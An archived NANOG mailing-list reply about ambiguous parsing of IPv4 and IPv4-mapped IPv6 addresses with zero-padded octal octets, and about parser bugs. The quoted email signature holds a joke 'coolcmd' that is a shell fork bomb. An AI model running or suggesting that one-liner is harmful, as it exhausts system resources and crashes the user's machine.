Regular Expression for IPv6 addresses

Mark Andrews marka at isc.org
Tue Feb 9 16:12:11 CST 2010


In message <alpine.DEB.1.10.1002091548170.25663 at red.crap.retrofitta.se>, Thomas
 Habets writes:
> On Fri, 5 Feb 2010, Mark Andrews wrote:
> > And now for the trick question.  Is ::ffff:077.077.077.077 a legal
> > mapped address and if it, does it match 077.077.077.077?
> 
> Forget IPv6. The first question is does 077.077.077.077 match 
> 077.077.077.077 in IPv4?

I think you meant "does 077.077.077.077 match 77.77.77.77 in IPv4".

> The answer is a long one full of different answers depending on 
> who's doing the parsing (gethostbyname(), inet_aton(), 
> inet_net_pton(), etc..) and on what OS. And also on many bugs.

Indeed.  It's a minefield out there for application developers that
want consistancy.  Even when you develop your own some OS vendor will
go and stuff it up on you.
 
> And don't count on the documentation being right either, or parsers 
> respecting standards (single unix or RFCs, or which one when they 
> conflict). And don't expect an error code if you feed 080.080.080.080 
> into a parser, even one that *does* read it as octal.
> 
> Don't prefix IP (v4) address octets with zero wether you expect it to be 
> treated as octal or not. Just don't. World of hurt and all that.
> 
> E.g.:
> http://kerneltrap.org/mailarchive/openbsd-bugs/2009/6/6/5882713/thread
> 
> We should all do like one vendor I've seen where you enter the IP (v4) 
> address in binary... and then pad with zeroes to whatever size html form 
> wanted. Yes, this decade.
> 
> ---------
> typedef struct me_s {
>    char name[]      = { "Thomas Habets" };
>    char email[]     = { "thomas at habets.pp.se" };
>    char kernel[]    = { "Linux" };
>    char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
>    char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
>    char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
> } me_t;
-- 
Mark Andrews, ISC
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: marka at isc.org




More information about the NANOG mailing list